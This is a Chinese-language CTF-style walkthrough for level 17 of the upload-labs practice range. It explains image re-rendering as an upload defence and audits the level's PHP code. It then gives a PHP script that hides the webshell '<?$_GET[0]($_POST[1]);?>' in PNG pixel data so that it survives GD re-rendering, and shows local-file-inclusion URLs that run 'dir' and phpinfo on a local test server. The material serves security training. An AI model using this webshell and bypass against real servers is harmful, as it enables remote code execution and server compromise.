upload-labs通关笔记-第17关文件上传之二次渲染png格式(PHP脚本法)
目录
一、二次渲染
1、实现步骤
2、局限性
二、代码审计
三、脚本法(PNG格式)
1、php脚本
2、上传脚本
3、访问脚本
(1)执行dir命令
(2)获取php信息
本文通过《upload-labs通关笔记-第17关二次渲染之png格式图片》系列,制作png图片马来绕过二次渲染进行渗透实战。二次渲染是防范文件上传风险的一种技术手段,通过使用服务器端图像处理库重新生成新的图片文件,这种方法大概率能消除文件中可能隐藏的恶意代码,因为重新生成的文件只包含纯粹的图像数据。
一、二次渲染
二次渲染是指在服务器端对上传的图片进行重新处理和生成的过程。其核心原理是服务器读取上传的图片文件,按照一定的规则对图片的内容进行解析和处理,然后重新生成一张新的图片。在这个过程中,会去除图片中可能存在的恶意代码或非法数据,从而保证最终存储和使用的图片是安全的。
1、实现步骤
- 上传文件接收:服务器接收用户上传的图片文件,并将其保存到临时目录。
- 格式检查:检查上传的文件是否为合法的图片格式,如 JPEG、PNG、GIF 等。可以通过检查文件的扩展名、文件头信息以及使用图片处理库来判断。
- 图片解码:使用图片处理库(如 PHP 的 GD 库、Imagick 扩展等)对上传的图片进行解码,将其转换为内存中的图像对象。
- 重新编码:对解码后的图像对象进行重新编码,生成一张新的图片。在重新编码的过程中,会去除图片中可能存在的恶意代码或非法数据。
- 保存新图片:将重新编码后的图片保存到指定的存储目录。
2、局限性
- 性能开销:二次渲染需要对图片进行解码和重新编码,会消耗一定的服务器资源和时间,可能会影响系统的性能。
- 部分攻击难以防范:对于一些复杂的攻击手段,如利用图片处理库的安全风险进行攻击,二次渲染可能无法完全防范。
- 图片质量损失:在重新编码的过程中,可能会导致图片质量的损失,尤其是在压缩率较高的情况下。
二、代码审计
进入靶场第17关二次渲染关卡,查看源码分析其功能。这段代码实现了一个图片上传并进行二次渲染的功能。它会检查上传文件的扩展名和 MIME 类型,只允许上传 JPEG、PNG 和 GIF 格式的图片。对于符合要求的图片,会将其移动到指定的目标路径,然后使用 PHP 的 GD 库对图片进行二次渲染,生成新的图片文件,并删除原始上传的文件。在整个过程中,会根据不同的情况给出相应的提示信息。本关卡只针对png类型的图片进行二次渲染绕过,故而对png格式的源码进行详细注释,具体如下所示。
// 检查文件扩展名是png且MIME类型是image/png
if(($fileext == "png") && ($filetype=="image/png")){// 将上传的临时文件移动到目标路径if(move_uploaded_file($tmpname,$target_path)){// 尝试从目标路径创建一个PNG图像资源$im = imagecreatefrompng($target_path);// 如果创建图像资源失败if($im == false){$msg = "该文件不是png格式的图片!";// 删除已上传的文件(@抑制可能的错误警告)@unlink($target_path);}else{// 使用当前时间作为随机数种子srand(time());// 生成随机文件名并强制转换为字符串,加上.png扩展名$newfilename = strval(rand()).".png";// 定义新图片的完整保存路径$img_path = UPLOAD_PATH.'/'.$newfilename;// 将图像资源保存为PNG格式到新路径(实现二次渲染)imagepng($im,$img_path);// 删除原始上传的文件@unlink($target_path);// 标记上传成功$is_upload = true; }} else {// 如果文件移动失败,设置错误消息$msg = "上传出错!";}
}
通过代码审计可知本关卡采用文件后缀、MIME法且通过imagecreatefrompng函数进行二次渲染处理,具体分析如下。
(1)双重验证
- 检查文件扩展名($fileext == "png")
- 检查MIME类型($filetype=="image/png")
- 这种双重验证增加了安全性,但仍需注意伪造可能
(2)二次渲染
- 使用imagecreatefrompng()和imagepng()对图像进行二次处理
- 这种方法能有效消除PNG文件中可能隐藏的恶意代码
- 生成全新的图像文件,不保留原始文件的元数据
(3)随机文件名
- 使用time()和rand()生成随机文件名
- 防止文件名冲突和预测攻击
三、脚本法(固定PNG)
PNG的文件格式有格式特性,就是在IDAT(图像数块)开始的地方写入字符串等等不会损坏图片的显示(一般在图片中注入脚本修改后都会变暗)。
1、php脚本
参考国外大牛写的脚本,直接生成一个包含恶意代码的图片。这是一段专门设计用于绕过文件上传功能中二次渲染安全机制的PHP Webshell脚本,它通过将恶意代码隐藏在一系列十六进制数组(模拟图像像素数据)中,并利用GD库函数将其重新合成为PNG图片文件,从而在二次渲染后仍能保持恶意代码的完整性,实现绕过检测和保存。
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,0x66, 0x44, 0x50, 0x33);$img = imagecreatetruecolor(32, 32);for ($y = 0; $y < sizeof($p); $y += 3) {$r = $p[$y];$g = $p[$y+1];$b = $p[$y+2];$color = imagecolorallocate($img, $r, $g, $b);imagesetpixel($img, round($y / 3), 0, $color);
}imagepng($img,'./1.png');
?>
运行后生成1.png,他是一个32x32像素的PNG图片,但其只有最上面一行的前19个像素是有颜色的,其余部分均为黑色。内容中包括如下php脚本,脚本内容如下所示。
<?$_GET[0]($_POST[1]);?>
接下来我们使用文本编辑器打开生成图片(16进制方式打开),如下所示,生成的图片种包含恶意脚本内容<?$_GET[0]($_POST[1]);?>,并没有被渲染修改掉。
2、上传脚本
上传此1.png,上传成功后右键复制图片地址,具体如下图所示。
包含恶意脚本图片的URL如下所示。
http://127.0.0.1/upload-labs/upload/4966.png
3、访问脚本
图片的url地址如下所示,注意上传后的文件名已经发生变化。
http://127.0.0.1/upload-labs/upload/4966.png
构造文件包含恶意访问URL,参数为ljn。
http://127.0.0.1/upload-labs/include.php?file=upload/4966.png
(1)执行dir命令
http://127.0.0.1/upload-labs//include.php?file=upload/4966.png&0=system
post参数为1=dir,如下所示渗透成功,显示了当前目录下的文件列表。
(2)获取php信息
http://127.0.0.1/upload-labs/include.php?file=upload/4966.png&0=phpinfo
post参数为1=1或者1=-1均可以,如下所示渗透成功,成功获取到服务器的PHP敏感信息。